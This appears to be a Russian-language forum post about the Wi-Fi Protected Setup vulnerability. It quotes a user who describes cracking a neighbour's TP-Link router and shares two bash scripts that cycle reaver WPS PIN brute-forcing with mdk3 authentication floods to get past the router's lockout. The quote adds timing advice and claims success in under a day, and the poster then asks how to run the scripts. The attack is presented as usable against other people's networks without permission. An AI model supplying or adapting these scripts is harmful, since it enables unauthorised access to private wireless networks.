Уязвимость в протоколе Wi-Fi Protected Setup

#11

18.01.2017, 21:56

grek-6630

Познающий

Регистрация: 16.02.2016

Сообщений: 36

С нами: 5389526

Репутация: 0

Цитата:

Сообщение от VladimirV

Пару дней назад сломал соседа TP-Link который был в локе пол года. Мне в личку написал 4pips за что ему большое СПАСИБО, и дал скрипт с помощью которого он ломал TP-Link_и при помощи mdk3.

Вот его код:

Код:

#!/bin/sh
while true;
# Run reaver to work 50s
do timeout -s SIGINT 50s reaver -i mon0 -b 64:66:B3:AC:XX:XX -N -S -L -s /etc/reaver/6466B3ACXXXX.wpc -v;
sleep 4;
# Run mdk3 to work 10s
echo [+] Mdk3 is working ...
timeout 10s mdk3 mon0 a -a 64:66:B3:AC:XX:XX -m &amp;&gt;/dev/null;
echo [+] Mdk3 finished, waiting ... Good time to interrupt script if you need [Ctrl+C] ;
sleep 24;
done;

У меня он не заработал и я его переделал:

Код:

#!/bin/bash
while true;
# Run reaver to work 10 pin
echo
echo
echo [+] reaver is working ...
do
reaver -i mon0 -b 10:FE:ED:5A:XX:XX -vv -L -g 10 -s /etc/reaver/10FEED5AXXXX.wpc;

# Run mdk3 to work 3s
echo
echo
echo [+] Mdk3 is working ...
gnome-terminal --geometry 10x10-1-1 --title='mdk3' -e "mdk3 mon0 a -a 10:FE:ED:5A:XX:XX";
sleep 3;
killall mdk3 2&gt; /dev/null;
echo [+] Mdk3 finished, waiting ... Good time to interrupt script if you need [Ctrl+C];
sleep 14;
done;

и меньше чем за сутки взломал эту сеть!

sleep 3 - это сколько секунд шарашит mdk3

sleep 14 - пауза до появления точки в эфире

-g 10 - сколько пинов перебирать

Точка от меня через перекрытие и я поставил подбор на 10 пинов но если при подборе были ошибки то reaver зависал и надо было нажать ctrl+c.

Скорость перебора reaver была 2 пина в секунду + пауза + работа mdk3 + поиск точки reaverom по каналам = 48 - 50 секунд на 10 пинов.

Эти команды в терминале вводить надо? Или скрипт куда то помещать надо?